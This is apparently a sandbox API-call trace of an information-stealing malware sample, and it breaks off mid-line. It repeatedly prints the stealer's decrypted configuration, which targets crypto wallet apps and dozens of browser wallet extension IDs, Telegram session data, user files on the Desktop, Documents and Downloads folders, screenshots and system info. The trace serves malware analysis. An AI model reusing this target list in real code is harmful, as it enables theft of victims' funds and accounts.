Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.764] lstrlenW (lpString="wlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4036 [0259.764] lstrlenW (lpString="wlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4036 [0259.764] LocalAlloc (uFlags=0x40, uBytes=0x1f88) returned 0x6b9720 [0259.764] lstrlenW (lpString="wlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4036 [0259.764] LocalAlloc (uFlags=0x40, uBytes=0x1f88) returned 0x6bb6b0 [0259.764] lstrlenW (lpString="wlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4036 [0259.764] LocalAlloc (uFlags=0x40, uBytes=0x1f88) returned 0x6bd640 [0259.764] StrStrW (lpFirst="wlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension 